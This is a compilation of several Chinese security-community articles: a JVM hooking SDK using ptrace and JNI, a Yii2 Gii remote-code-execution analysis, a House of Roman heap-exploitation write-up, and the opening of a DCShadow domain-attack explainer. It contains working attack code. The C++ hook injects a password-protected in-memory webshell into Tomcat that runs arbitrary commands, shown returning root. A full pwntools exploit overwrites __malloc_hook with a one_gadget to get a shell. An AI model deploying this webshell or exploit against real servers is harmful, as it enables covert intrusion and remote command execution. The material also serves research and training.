上文大致介绍了官方提供的Java instrument方法，与我们今天要讲的主题'ptrace'表面看无关系，要想讲清楚，就不得不讲一下JNI。
JNI（Java Native
Interface，Java本地接口）是一种编程框架，使得Java虚拟机中的Java程序可以调用本地代码，在安卓中应用非常广泛。在JNI框架，native方法一般在单独的.c或.cpp文件中实现。当JVM调用非static函数，就传递一个JNIEnv指针，一个jobject的this指针（如果是static函数则只传送一个JNIEnv指针），后面再跟上函数参数。一个JNI函数看起来类似这样：
JNIEXPORT void JNICALL Java_ClassName_MethodName
(JNIEnv *env, jobject obj)
{
/*Implement Native Method Here*/
}
env指向一个结构包含了到JVM的接口，包含了所有必须的函数与JVM交互、访问Java对象。例如，把本地数组转换为Java数组的JNI函数，把本地字符串转换为Java字符串的JNI函数，实例化对象，抛出异常等。Java程序可以做的任何事情都可以用JNIEnv做到，只是过程非常麻烦。比如调用System.out.println
// Get system class
jclass syscls = env->FindClass("java/lang/System");
// Lookup the "out" field
jfieldID fid = env->GetStaticFieldID(syscls, "out", "Ljava/io/PrintStream;");
jobject out = env->GetStaticObjectField(syscls, fid);
// Get PrintStream class
jclass pscls = env->FindClass("java/io/PrintStream");
// Lookup printLn(String)
jmethodID mid = env->GetMethodID(pscls, "println", "(Ljava/lang/String;)V");
// Invoke the method
jstring str = env->NewStringUTF( "you are hacked");
env->CallVoidMethod(out, mid, str);
在JNI本地代码中，实际获得了很多Java代码不具备的能力，如可以访问进程的任意内存空间、调用系统调用等。jmethodID是JNI中的方法指针类型，它指向JVM底层的方法对象。经过GDB调试和翻阅代码，它的实际结构JVMMethod如下：
struct MethodInternal
{
void * vtbl;
ConstMethod * _constMethod;
void * _method_data;
void * _method_counters;
int _access_flags;
int _vtable_index;
#ifdef CC_INTERP
int _result_index; // C++ interpreter needs for converting results to/from stack
#endif
unsigned short _method_size; // size of this object
unsigned char _intrinsic_id; // vmSymbols::intrinsic_id (0 == _none)
unsigned char _jfr_towrite : 1, // Flags
_caller_sensitive : 1,
_force_inline : 1,
_hidden : 1,
_dont_inline : 1,
: 3;
#ifndef PRODUCT
int _compiled_invocation_count; // Number of nmethod invocations so far (for perf. debugging)
#endif
// Entry point for calling both from and to the interpreter.
unsigned char * _i2i_entry; // All-args-on-stack calling convention
// Adapter blob (i2c/c2i) for this Method*. Set once when method is linked.
void* _adapter;
// Entry point for calling from compiled code, to compiled code if it exists
// or else the interpreter.
volatile unsigned char * _from_compiled_entry; // Cache of: _code ? _code->entry_point() : _adapter->c2i_entry()
// The entry point for calling both from and to compiled code is
// "_code->entry_point()". Because of tiered compilation and de-opt, this
// field can come and go. It can transition from NULL to not-null at any
// time (whenever a compile completes). It can transition from not-null to
// NULL only at safepoints (because of a de-opt).
void * volatile _code; // Points to the corresponding piece of native code
volatile unsigned char * _from_interpreted_entry; // Cache of _code ? _adapter->i2c_entry() : _i2i_entry
};
struct JVMMethod
{
MethodInternal * _method;
public:
void setMethodNative();
void * getMethod()const
{
return _method;
}
void clear_method_counters();
bool isMethodNative()const;
bool isMethodStatic()const;
int getMethodAccessFlags()const;
void print()const;
unsigned long native_function_addr()const;
void native_function_addr(unsigned long v);
unsigned long signature_handler_addr()const;
void signature_handler_addr(unsigned long v);
void set_size_of_parameters(u2 v);
int get_size_of_parameters()const;
};
因此我们可以把jmethodID类型强制转换为JVMMethod
*，然后操作方法对象的任意数据，只要理清数据结构的关系，就可以完成方法的任意修改。在方法的hook实现上，参考frida、xposed在安卓上的实现：先将方法修饰符修改为native，再为该方法提供native的实现。JVMTI的方式在实现上存在限制，比如不能修改java.lang包下的类，而在native层直接修改内存的方式是毫无限制的。
## use ptrace
现在离主题更近了一步，接下来要解决的问题：如何在ptrace执行时获得JNI环境的上下文。
JNI环境的上下文其实就是JNIEnv这个环境变量指针。jni.h中提供了JNI_GetCreatedJavaVMs，可以获取已经创建的JavaVM实例对象：
_JNI_IMPORT_OR_EXPORT_ jint JNICALL JNI_GetCreatedJavaVMs(JavaVM **, jsize, jsize *);
该方法在libjvm.so作为导出函数，可以通过搜索内存的方式得到。拿到JavaVM实例之后，就可以通过getEnv函数分别获得JNIEnv和jvmtiEnv指针：
int result = vm->GetEnv((void **)&_jni_env, JNI_VERSION_1_8);
if(result != JNI_OK)
{
result = vm->AttachCurrentThread((void **)&_jni_env, NULL);
if(result != JNI_OK)
{
printf("AttachCurrentThread = %d\n", result);
return;
}
}
result = vm->GetEnv((void **)&_jvmti_env, JVMTI_VERSION_1_2);
if(result != JNI_OK)
{
printf("GetEnv JVMTI_VERSION_1_2 = %d\n", result);
return;
}
至此，使用ptrace不仅可以修改任意方法，还可以使用官方提供的JVMTI接口，可谓无所不能。
## taycan-sdk
此项目将以上内容进行封装，实现native层修改java层(JVM)，使用JVMTI及JNI
API可以修改java任意类、执行任意代码，完成hook、插入内存马、反射等功能。项目地址：
https://github.com/bigBestWay/taycan-sdk
### 使用环境
LINUX KERNEL version > 3.2 GLIBC > 2.15 openJDK/OracleJDK 1.8 64bit
### 使用方法
开发语言需要使用C++，源码文件中需要包含sdk
include文件夹中java_native_base.h和jvm_method.h，并且要链接lib文件夹下的libtaycan.a。开发步骤如下：
1. 定义一个类A继承JavaNativeBase
2. 在类A的构造函数中，使用JNI/JVMTI的API查找java类、方法、执行反射等
3. 如果要hook方法，先定义好替换函数，比如hook_xxx
4. 调用hookJvmMethod，替换方法
5. 静态实例化A
之后编译生成动态链接库文件，可以使用java System.load方法调用执行，也可以使用soloader通过ptrace方式注入执行。
### 示例1：hook java非native函数
如下TestJni.circle方法定时在屏幕打印haha
class TestJni{
private void circle(){
System.out.println("haha");
}
public static void main(String[] args) throws InterruptedException{
TestJni a = new TestJni();
while(true){
a.circle();
Thread.sleep(2000);
}
}
}
写如下代码，将TestJni.circle hook掉，在hook函数中调用System.out.println(""you are hacked"")
#include "include/java_native_base.h"
#include "include/jvm_method.h"
#include "jni.h"
class example : JavaNativeBase
{
public:
example(/* args */);
~example(){};
};
static example _e;
JNIEXPORT void JNICALL hook_circle(JNIEnv* env, jobject thiz)
{
// Get system class
jclass syscls = env->FindClass("java/lang/System");
// Lookup the "out" field
jfieldID fid = env->GetStaticFieldID(syscls, "out", "Ljava/io/PrintStream;");
jobject out = env->GetStaticObjectField(syscls, fid);
// Get PrintStream class
jclass pscls = env->FindClass("java/io/PrintStream");
// Lookup printLn(String)
jmethodID mid = env->GetMethodID(pscls, "println", "(Ljava/lang/String;)V");
// Invoke the method
jstring str = env->NewStringUTF( "you are hacked");
env->CallVoidMethod(out, mid, str);
}
example::example(/* args */)
{
JNIEnv * env = getEnv();
if(env == NULL)
{
return;
}
jclass clazz = env->FindClass("TestJni");
if(clazz == NULL){
printf("FindClass error\n");
return;
}
jmethodID method_circle = env->GetMethodID(clazz, "circle", "()V");
if(method_circle == NULL){
printf("GetMethodID circle error\n");
return;
}
JVMMethod * method_stub = (JVMMethod *)method_circle;
method_stub->print();
hookJvmMethod(method_stub, (unsigned long)hook_circle);
}
编译生成so之后，使用soloader对JVM进程注入so
Usage:
./soloader <jvmpid> <sopath> [is_unload]
soloader 77339 /root/taycan/example/libmy.so
参数分别为PID、so全路径。可以提供第4个参数，如果为1，表示so在注入运行之后立即就卸载。
### 示例2: 注入tomcat内存马
tomcat注入内存马，采用的办法是hook函数internalDoFilter
org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(javax.servlet.ServletRequest, javax.servlet.ServletResponse) : void
以下代码在tomcat8上测试通过
void example::inject_mem_shell()
{
JNIEnv * env = getJNIEnv();
if(env == NULL)
{
return;
}
jvmtiEnv * jvmti_env = getJVMTIEnv();
if(jvmti_env == NULL)
{
return;
}
//printf("JVMTI ENV %p\n", jvmti_env);
_applicationFilterChain_clazz = this->jvmti_find_class("org.apache.catalina.core.ApplicationFilterChain");
if(_applicationFilterChain_clazz == NULL){
printf("FindClass org.apache.catalina.core.ApplicationFilterChain error\n");
return;
}
_servlet_clazz = this->jvmti_find_class("javax.servlet.Servlet");
if(_servlet_clazz == NULL){
printf("FindClass javax.servlet.Servlet error\n");
return;
}
const char * internalDoFilter_signature = "(Ljavax/servlet/ServletRequest;Ljavax/servlet/ServletResponse;)V";
jmethodID internalDoFilter = env->GetMethodID(_applicationFilterChain_clazz, "internalDoFilter", internalDoFilter_signature);
if(internalDoFilter == NULL){
printf("jvmti_get_method internalDoFilter error\n");
return;
}
JVMMethod * method = (JVMMethod *)internalDoFilter;
//method->print();
hookJvmMethod(method,(unsigned long)hook_internalFilter);
}
hook掉internalDoFilter方法，在前面加入内存马逻辑，之后正常调用this.servlet.service(req,
rsp)保证页面的正常加载。
方法原型为void internalDoFilter(javax.servlet.ServletRequest,
javax.servlet.ServletResponse)，对应的JNI表示参数要增加JNIEnv *和this指针
JNIEXPORT void JNICALL hook_internalFilter(JNIEnv * env, jobject thiz, jobject req, jobject rsp)
{
jobject model = req_get_paramter(env, req, "model");
jobject pass_the_world = req_get_paramter(env, req, "pass_the_world");
if(pass_the_world != NULL && string_equals(env, pass_the_world, "bigbestway"))
{
std::string result;
if(model == NULL || string_equals(env, model, ""))
{
result = Memshell::help();
}
else if(string_equals(env, model, "exec"))
{
jobject cmd = req_get_paramter(env, req, "cmd");
if(cmd == NULL)
{
result = Memshell::help();
}
else
{
result = Memshell::exec(string_getchars(env, (jstring)cmd).c_str());
}
}
rsp_print(env, rsp, result.c_str());
return;
}
//调用this.servlet.service(req, rsp);
DPRINT("hook_internalFilter req=%p, rsp=%p\n", req, rsp);
jfieldID fid = env->GetFieldID(_applicationFilterChain_clazz, "servlet", "Ljavax/servlet/Servlet;");
DPRINT("fid=%p\n", fid);
if(fid == NULL)
return;
jobject servlet = env->GetObjectField(thiz, fid);
DPRINT("servlet=%p\n", servlet);
if(servlet == NULL)
return;
jmethodID mid = env->GetMethodID(_servlet_clazz, "service", "(Ljavax/servlet/ServletRequest;Ljavax/servlet/ServletResponse;)V");
DPRINT("mid=%p\n", mid);
if(mid == NULL)
return;
env->CallVoidMethod(servlet, mid, req, rsp);
}
下载apache-tomcat-8.5.69并解压到目录
/root/apache-tomcat-8.5.69
进入bin目录，在当前窗口启动tomcat
./catalina.sh run
通过浏览器访问8080端口，因为类是懒加载，需要访问一下才会加载org.apache.catalina.core.ApplicationFilterChain，否则hook时查找类会失败。通过ps命令获得JVM进程ID，执行命令注入shell
~/taycan/taycan-sdk# ./soloader 47706 `pwd`/libmy.so
执行成功会打印
this=0x7fc1a463d380,_constMethod=0x7fc1a463d060,_method_data=(nil),_method_counters=0x7fc1a4647118,_adapter=0x7fc1cc07b630,_from_compiled_entry=0x7fc1bd04e5b8,_code=(nil),_access_flags=2,_vtable_index=-2,_method_size=11,_intrinsic_id=0,_jfr_towrite=0,_caller_sensitive=0,_force_inline=0,_hidden=0,_dont_inline=0,_compiled_invocation_count=0,_i2i_entry=0x7fc1bd013600,_from_interpreted_entry=0x7fc1bd013600
_constMethod:
_fingerprint=8000000000000000,_constants=0x7fc1a463c338,_stackmap_data=0x7fc1a463d3d8,_constMethod_size=100,_flags=15,_code_size=14,_name_index=388,_signature_index=118,_method_idnum=100,_max_stack=5,_max_locals=5,_size_of_parameters=10
==================================
this=0x7fc1a463d380,_constMethod=0x7fc1a463d060,_method_data=(nil),_method_counters=(nil),_adapter=0x7fc1cc07b630,_from_compiled_entry=0x7fc1bd04e5b8,_code=(nil),_access_flags=e000102,_vtable_index=-2,_method_size=11,_intrinsic_id=0,_jfr_towrite=0,_caller_sensitive=0,_force_inline=0,_hidden=0,_dont_inline=0,_compiled_invocation_count=0,_i2i_entry=0x7fc1bd018340,_from_interpreted_entry=0x7fc1bd018340
_constMethod:
_fingerprint=8000000000000000,_constants=0x7fc1a463c338,_stackmap_data=(nil),_constMethod_size=100,_flags=15,_code_size=14,_name_index=388,_signature_index=118,_method_idnum=100,_max_stack=5,_max_locals=5,_size_of_parameters=10
使用URL访问内存马执行命令
http://192.168.92.128:8080/?pass_the_world=bigbestway&model=exec&cmd=id
页面显示命令结果
uid=0(root) gid=0(root) groups=0(root)
## 结语
我在探索JVM中Java Method结构的过程中，偶然发现frida在2020年的新版本中开始支持hook
openSDK（一直以为不支持），taycan借鉴了frida
14的代码。frida能够hook成功的前提是libjvm.so文件需要有调试符号即该so没有经过strip。对于这点，本项目进行了改进，无论是否有符号都能hook成功。 | 社区文章 |
# Yii2框架Gii模块 RCE 分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
利用周末时间分析了Yii2框架的一个RCE漏洞，利用了框架可以写PHP模板的功能，控制写入的内容为恶意代码，实现对指定的文件写入php
命令执行语句，调用PHP从而获取系统权限。
## 0x01 Yii 介绍
Yii 是一个高性能，基于组件的 PHP 框架，用于快速开发现代 Web 应用程序。一个通用的 Web 编程框架，即可以用于开发各种用 PHP 构建的
Web 应用。 因为基于组件的框架结构和设计精巧的缓存支持，它特别适合开发大型应用， 如门户网站、社区、内容管理系统（CMS）、 电子商务项目和
RESTful Web 服务等。
* 和其他 PHP 框架类似，Yii 实现了 MVC（Model-View-Controller） 设计模式并基于该模式组织代码。
* Yii 非常易于扩展。
* Yii 的代码简洁优雅。
## 0x02 环境搭建
利用docker 原生ubuntu镜像搭建漏洞调试环境
### 0x01 composer 安装
> Composer 是 PHP 的一个依赖管理工具。它允许你申明项目所依赖的代码库，它会在你的项目中为你安装他们。
你可以将此文件放在任何地方。如果你把它放在系统的 PATH 目录中，你就能在全局访问它。 在类Unix系统中，你甚至可以在使用时不加 php 前缀。
你可以执行这些命令让 composer 在你的系统中进行全局调用：
curl -sS https://getcomposer.org/installer | php
mv composer.phar /usr/local/bin/composer
### 0x02 yii2 安装
安装composer过后，需要安装git 以及php插件，composer在安装yii2框架时会从git上clone项目，只不过不保留.git文件夹。
apt install apache2 php
apt install zip unzip git php-mbstring php-curl php-dom -y
composer create-project --prefer-dist yiisoft/yii2-app-basic basic
至此yii2框架就基本搭建完成了，有了composer 之后确实方便了很多。
### 0x03 数据库搭建及连接
利用docker搭建数据库，注意在数据库中创建新库和数据表
docker run --name mysql -e MYSQL_ROOT_PASSWORD=123456 -d mysql:5.7
vim /var/www/html/basic/config/db.php
### 0x04 Xdebug 安装
> pecl PHP Extension Community Library的缩写，即PHP 扩展库。<https://pecl.php.net/>
> PECL是使用C语言开发的，通常用于补充一些用PHP难以完成的底层功能，往往需要重新编译或者在配置文件中设置后才能在用户自己的代码中使用。
利用pecl 安装xdebug 并进行配置
apt-get install php-pear
apt-get install php-phpize
pecl install xdebug
将xdebug.so与php相关联，xdebug.ini 配置如下
zend_extension=/usr/lib/php/20190902/xdebug.so
xdebug.remote_enable=1
xdebug.remote_connect_back=0
xdebug.remote_host=172.19.0.12
xdebug.remote_port=9000
向apache的php配置添加xdebug.ini配置文件，并重启服务
cp /usr/share/php/docs/xdebug/xdebug.ini /etc/php/7.4/apache2/conf.d/
service apache2 restart
## 0x05 远程调试配置
因为服务在服务器端，本地需要phpstorm调试需要配置端口转发，将本地端口转到服务器上去。又因为服务在服务器docker内部因此也需要把ssh端口转发出来。操作如下
**在服务器执行**
**在docker内执行**
**在本地执行**
配置phpstorm，进行远程文件关联
配置sftp
### 0x06 添加白名单
gii 默认添加了白名单访问，这里只需加个`*`就可以了
## 0x04 漏洞利用
### 0x1 生成恶意代码文件
所有环境都配置好后，选择创建的数据表并制定类名
在Message Category字段处填写恶意代码，如下图所示
### 0x2 触发恶意文件
###
## 0x03 漏洞原理及调试
### 0x0 漏洞原理
yiisoft/yii2-gii/src/Generator.php#L505 存在参数拼接，而且没有检查用户传递的参数。
### 0x1 路由介绍
yii用了统一的路由分发，路由的工作可以分为两步：
1. 从请求中解析出一个路由和相关参数；
2. 根据路由生成响应的控制器操作，来处理该请求。
### 1\. 解析参数
Application.php:103, yii\web\Application->handleRequest()
从url中获取route 和 参数
调用栈关系
Request.php:699, yii\web\Request->getQueryParam()
UrlManager.php:365, yii\web\UrlManager->parseRequest()
Request.php:275, yii\web\Request->resolve()
Application.php:82, yii\web\Application->handleRequest()
Application.php:386, yii\web\Application->run()
index.php:12, {main}()
### 0x2 生成控制器
Module.php:522, yii\web\Application->runAction()
具体实现将url get参数分割成id和route，匹配是不是已配置 module
如果不是已有module那么将会根据id生成controller
完整调用栈如下
Module.php:643, yii\web\Application->createControllerByID()
Module.php:596, yii\web\Application->createController()
Module.php:522, yii\web\Application->runAction()
Application.php:103, yii\web\Application->handleRequest()
Application.php:386, yii\web\Application->run()
index.php:12, {main}()
最后在runwithParams函数中完成类函数调用
### 0x2 可控参数传递链
在生成恶意代码的时候，是将我们传入的post参数写了进去。这个过程还是比较复杂的，调试跟了下归结为几个步骤。
1. actionPreview功能将收到的post参数解析带入到$generator对象中
2. actionPreview将解析好的对象成员保存为json格式在runtime目录下
3. actionView读取json格式数据并解析成对象成员变量
4. 调用到renderFile生成php code并将其写入文件中
**1\. actionPreview post参数解析**
在DefaultController类中
**2\. actionPreview 保存为json**
该操作将post包中的参数保存为json格式，并存储到文件中
**3\. actionView 读取json文件**
从json文件中解析类成员变量
**4\. 文件生成**
漏洞生成的文件如下
## 0x04 补丁分析
简单的加了个过滤
## 0x05 参考链接
<https://github.com/yiisoft/yii2-gii/issues/433>
<https://lab.wallarm.com/yii2-gii-remote-code-execution/> | 社区文章 |
# 前言：
House of Roman 这个技巧说简单点其实就是 fastbin attack 和 Unsortbin attachk 结合的一个小 trick。
该技术用于 bypass ALSR，利用 12-bit 的爆破来达到获取 shell 的目的。
且仅仅只需要一个 UAF 漏洞以及能创建任意大小的 chunk 的情况下就能完成利用。
（以来自 ctf wiki）
我在学习这部分的 时候 很是迷惑，经过寻找参考资料与自己对该例题长达 一天的时间的调试终于搞懂了了，特记录下来加深对它的理解。
该程序可以在这里下载到。
https://github.com/romanking98/House-Of-Roman
# 利用方式：
总体上来说 我们 分为五大步：
1. 通过低位地址写修改fastbin的fd，修改到malloc_hook-0x23，为我们最后 向 malloc_hook地址里写入 one_gadget 做准备
2. 修复 fastbin free 链
3. 通过unsortedbin attack，将main_arean地址写入malloc_hook
4. 通过低位地址写修改malloc_hook中的地址为one gadget
5. free 同一个 chunk 多次，造成 double free 异常，触发 malloc_printerr ，触发malloc,getshell。
# 漏洞分析：
我们检查下保护：
开启了 PIE 和 NX保护。
为了本地调试方便 我们关闭 本地ASLR
echo 0 > /proc/sys/kernel/randomize_va_space
我们先来看下程序逻辑：
首先让我们 输入 name 到bss 段上，然后 是个菜单，有三个功能
1. Malloc 2. Write 3. Free
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
__int64 choice; // [rsp-8h] [rbp-8h]
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
start_p(); // Enter name :
while ( 1 )
{
print_menu();
__isoc99_scanf("%d", &choice); // 1. Malloc
// 2. Write
// 3. Free
switch ( (_DWORD)choice )
{
case 1:
puts("Malloc");
HIDWORD(choice) = (unsigned __int64)Malloc();
if ( !HIDWORD(choice) )
puts("Error");
break;
case 2:
puts("Write");
Write("Write");
break;
case 3:
puts("Free");
Free("Free");
break;
default:
puts("Invalid choice");
break;
}
}
}
1.MAlloc： maloc的参数 size 并没有限制 大小
且在 经过gdb 调试：知道 heap_ptr[0]的地址
heap_ptrs[0] ：0x555555756160
#malloc(size) : 0x5555557549b8
void *malloc_chunk()
{
void *result; // rax
void *chunk_mem_addr; // rax
unsigned int v2; // [rsp-10h] [rbp-10h]
unsigned int size; // [rsp-Ch] [rbp-Ch]
void *v4; // [rsp-8h] [rbp-8h]
printf("Enter size of chunk :");
__isoc99_scanf("%d", &size);
printf("Enter index :", &size);
__isoc99_scanf("%d", &v2);
if ( v2 <= 0x13 )
{
chunk_mem_addr = malloc(size); // size 无限制
v4 = chunk_mem_addr;
heap_ptrs[v2] = chunk_mem_addr;
sizes[v2] = size;
result = v4;
}
else
{
puts("Invalid index");
result = 0LL;
}
return result;
}
2.Write：存在单字节 溢出漏洞
int Write()
{
__int64 id; // [rsp-8h] [rbp-8h]
printf("\nEnter index of chunk :");
__isoc99_scanf("%d", &id);
if ( (unsigned int)id > 0x13 )
return puts("\nInvalid index");
if ( !heap_ptrs[(unsigned int)id] )
return puts("Bad index");
HIDWORD(id) = sizes[(unsigned int)id];
printf("Enter data :", &id);
return read(0, (void *)heap_ptrs[(unsigned int)id], HIDWORD(id) + 1);// off by one
}
1. Free 这里free 后 并没有将 指针 置为 NULL，存在UAF 漏洞。
void Free()
{
unsigned int v0; // [rsp-4h] [rbp-4h]
printf("\nEnter index :");
__isoc99_scanf("%d", &v0);
if ( v0 <= 0x13 )
free((void *)heap_ptrs[v0]); //UAF
}
# 漏洞利用：
House-Of-Roman
1.通过低位地址写修改fastbin的fd，修改到malloc_hook-0x23，为我们最后 向 malloc_hook地址里写入 one_gadget 做准备
2.修复过程中的fastbin，
3.通过unsortedbin attack，将main_arean地址写入malloc_hook
4.通过低位地址写修改malloc_hook中的地址为one gadget
5.free 同一个 chunk 多次，造成 double free 异常，触发 malloc_printerr ，触发malloc,getshell。
第一步:
通过低位地址写修改fastbin的fd，修改到malloc_hook-0x23，为我们最后 向 malloc_hook地址里写入 one_gadget
做准备
我们将这步 给细化下吧。
首先 进行堆内存布局，
即申请 3个 chunk ，heap_ptrs[0]， heap_ptrs[1]， heap_ptrs[2] ，
malloc(0x18,0) # heap_ptrs[0] #off_by_one 可修改 heap_ptrs[1] chunk 的size，为后面做准备
malloc(0xc0,1) # heap_ptrs[1] #通过低位地址写修改 fastbin(heap_ptrs[1]对应的chunk size 为 0x70)的fd，
#修改到malloc_hook-0x23.
malloc(0x60,2) # heap_ptrs[2]
在 heap_ptrs[1] 对应的chunk_addr+0x78 处 伪造 size，为后面的攻击做准备。
fake = "A"*0x68
fake += p64(0x61) # fake size
write(1,fake)
然后将 heap_ptrs[1] 对应的chunk free进 unsigned bin中，于是 heap_ptrs[1] 对应的chunk 的chunk的
fd (+0x10)与 bk(+0x18) 处都为 main_arena+88 （ 0x7ffff7dd1b78 ）
然后接着 申请 3个 chunk，heap_ptrs[3]（与heap_ptrs[2]同大小）， heap_ptrs[15]， heap_ptrs[18]
，并同时 通过单字节溢出将 heap_ptrs[1]的size 也给覆盖成 0x71(70+1)
其中，
heap_ptrs[15] 用于后面 修复 fast bin链
heap_ptrs[18] 0x555555756160（ heap_ptrs[0] ）+0x8*18 即0x555555757250 用于 最后一步
double free 这个 chunk。
heap_ptrs[3] 把它与 heap_ptrs[2] 先后 给free 掉，放入 0x70 大小的 fast bin中注意下此时的 bin的结构）
即 heap_ptrs[3] 对应的chunk的fd(+0x10)指向了 heap_ptrs[2] 对应的chunk
free(2)
free(3)
因为此时 heap_ptrs[1]对应的chunk 的fd（+0x10）指向的地址是 main_arena+88 （ 0x7ffff7dd1b78
），我们可以 修改 heap_ptrs[3]为 heap_ptrs[1]对应的chunk_addr:（通过单字节 写 实现）,
over = "\x20"
write(3,over)
从而 heap_ptrs[3] 对应的chunk的fd(+0x10)指向了 heap_ptrs[1] 对应的chunk， heap_ptrs[1]
对应的chunk 的fd(+0x10)指向了 main_arena+88 （ 0x7ffff7dd1b78 ）
然后 再 通过低位地址写修改 fastbin（ heap_ptrs[1] 对应的chunk size 为
0x70）的fd，修改到malloc_hook-0x23.
# malloc_hook-->[0x7ffff7dd1b10]
malloc_hook_0x23 = "\xed\x1a" #__malloc_hook - 0x23
write(1,malloc_hook_0x23)
从而 完成第一步。
## 第二步 ：
修复0x70 大小的 fastbin链，
当我们 可通过 3 次申请 0x70大小的chunk 申请到 含有 malloc_hook的 chunk，把它放入 heap_ptr[0]
malloc(0x60,0)
malloc(0x60,0)
malloc(0x60,0) #chunk_addr is malloc_hook-0x23
申请后的，此时的fast bin链
我们用前面 创建好的 heapptr[15] 恢复 fast bin 链
free(15)
write(15,p64(0))
从而 完成第二步。
第三步：
通过unsortedbin attack，将main_arean地址写入malloc_hook
unsortedbin attack的具体实现方式 大家参考这篇博客，有图示，很容易理解。
https://blog.csdn.net/qq_41453285/article/details/99329694
为了unsortedbin attack攻击顺利，我们首先更新下 heap_ptr[1], heap_ptr[2],heap_ptr[3]
,heap_ptr[4]
malloc(0xc0,1)
malloc(0x18,2)
malloc(0xc0,3)
malloc(0xc0,4)
此时heap[0]对应的chunk 是含有 malloc_hook的chunk，我们可通过它 实现
我们的第四步攻击：通过低位地址写修改malloc_hook中的地址为one gadget，后面再说这个。
我们把heap[1]对应的chunk 给free 进 unsigned bin中，
首先free(1)
heap[1]对应的chunk 的fd (+0x10)和 bk(+0x18) 都指向 main_arena+88 ,
利用unsigned attack 攻击，我们通过覆盖 heap[1]对应的chunk bk(+0x18) 的低字节，将其改为 malloc_hook 地址
-0x10 处。
然后再malloc 同样 size 的chunk 可使得 malloc_hook地址的内容为 （main_arena + 0x88）
0x7ffff7dd1b78
over = "B"*8
over += "\x00\x1b"
write(1,over)
malloc(0xc0,1)
完成 第三步。
## 第四步：
通过低位地址写修改malloc_hook中的地址为one gadget，后面再说这个。
我们看下libc 加载地址：
查看 one_gadget,这里我们使用 0xf02a4 那个。
他在内存中的地址应该为 hex(0x7ffff7a0d000+0xf02a4) 即 0x7ffff7afd2a4，它与 main_arena + 0x88）
0x7ffff7dd1b78 只有后6位 不同，
我们利用 修改 此时的heapptr[1]对应的chunk 将 malloc_hook中的地址中的内容的 后六位 给覆盖成 afd2a4 即可
over = "A"*0x13 # padding for malloc_hook
over += "\xa4\xd2\xaf"
write(0,over)
可以看到 此时 malloc_hook中的地址中的内容 已经是 one_gadget 在内存中的地址了。
第五步
free 同一个 chunk 多次，造成 double free 异常，触发 malloc_printerr ，触发malloc,getshell。
我们连续free 掉前面 申请的heapptr[18] 对应的chunk。
free(18)
free(18)
可以看到 拿到 shell。
当开启aslr后：
因为 循环执行以上exp，是有可能成功getshell的，就要看 运气了 。
for i in `seq 1 5000`; do python final.py; done;
我在我电脑上 是没有成功(应该是我没让它跑足够多的时间)，理论上是可以成功的，而且也有人成功。
# 新解:
上面确实是一个好的 aslr的bypass 姿势，但基本上 如果程序中 可以 leak的话， 一般是直接打IO_file leak libc
了，然后哦就是常规 做法了，成功率 1/16.
如果 又不熟悉的 大家 可以 网上 搜索下 "IO_FILE泄露 libc" 学习下，这里就不多 阐述了。
## 新解思路：
通过引起堆块重叠 然后修改下一个chunk的末尾两个字节 然后将块申请到stdout上 然后泄漏io_stdin的地址
再用堆块重叠写mallochook为onegadget
## 最后同样 free 同一个 chunk 多次，造成 double free 异常，触发 malloc_printerr
，触发malloc,getshell。
就放一个 该题的一个 exp（请教的 fmyy师傅），// 注意，可以当模板哦！吹爆 fmyy 师傅 ，哈哈。
## exp：
#coding:utf8
from pwn import*
def add(size,idx):
#p.sendline("1")
#p.sendline(str(size))
#p.sendline(str(idx))
p.sendlineafter('Free',"1")
p.sendlineafter('Enter size of chunk :',str(size))
p.sendlineafter('Enter index :',str(idx))
def free(idx):
p.sendlineafter('Free',"3")
p.sendlineafter('Enter index :',str(idx))
def edit(idx,data):
#p.recvuntil('Free')
#p.sendline('2')
#p.recvuntil('Enter index of chunk :')
#p.sendline(str(idx))
#p.recvuntil('Enter data :')
#p.send(data)
p.sendlineafter('Free',"2")
p.sendlineafter('Enter index of chunk :',str(idx))
p.sendafter('Enter data :',data)
p = process('./new_chall')
libc = ELF('./libc-2.23.so',checksec=False)
context.log_level ='DEBUG'
p.sendlineafter('Enter name :','FMYY')
add(0x18,0)
add(0xC8,1)
add(0x68,2)
edit(1,'\x00'*0x68 + p64(0x61))
free(1)
add(0xC8,1)
add(0x68,3)
add(0x68,4)
add(0x68,5)
edit(0,'\x00'*0x18 + '\x71')
free(2)
free(3)
edit(3,'\x20')
edit(1,'\xDD\x25')
add(0x68,9)
add(0x68,9)
payload = '\x00'*0x33 + p64(0xFBAD1800) + p64(0)*3 + '\x88'
add(0x68,9)
edit(9,payload)
#修改stdout的flag位为0xfbad1800
#bing将_IO_write_base的最后一个字节改小，从而实现多输出一些内容，这些内容里面就包含了libc地址。
libc_base = u64(p.recvuntil('\x7f').ljust(8,'\x00')) - libc.symbols['_IO_2_1_stdin_']
libc.address = libc_base
free(4)
edit(4,p64(0))
add(0x68,0)
free(0)
edit(0,p64(libc.symbols['__malloc_hook'] - 0x23))
add(0x68,0)
add(0x68,0)
p.sendlineafter('Free','2')
p.sendlineafter('Enter index of chunk :','0')
p.send('\x00'*0x13+p64(libc_base+0xF02A4))
#向malloc_hook 地址里写入 onegadget
#free 同一个 chunk 多次，造成 double free 异常，触发 malloc_printerr ，触发malloc,getshell。
free(1)
free(1)
p.interactive()
# 总结：
在程序中 没有leak(fclose(stdout))的时候，我们就只能选择House_of_Roman （全程爆破）去pwn，如果
可以leak，我们就可以 直接 打 IO_file 去泄露libc，然后常规 pwn 就可以了。
## 参考链接：
https://wiki.x10sec.org/pwn/io_file/introduction/#printfputs
https://n0va-scy.github.io/2019/09/21/IO_FILE/
https://xz.aliyun.com/t/2316#toc-3 | 社区文章 |
# 域渗透：DCShadow攻击与利用
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、原理
我们知道可以利用Mimikatz远程从DC中复制数据，即Dcsync; 类似的dcshadow可以伪装成DC，让正常DC通过伪造的DC中复制数据。
步骤
1、通过dcshadow更改配置架构和注册SPN值，将我们的服务器注册为Active Directory中的DC
2、在我们伪造的DC上更改数据，并利用域复制将数据同步到正常DC上。
相关API:DSBind、DSR*等
<https://msdn.microsoft.com/en-us/library/ms675931(v=vs.85).aspx>
从原理中我们可以认识到两点：
1、需要具备域管权限或域控本地管理权限，注册spn值，写权限等
2、除了dc之间的连接通信，默认情况下不会记录事件日志
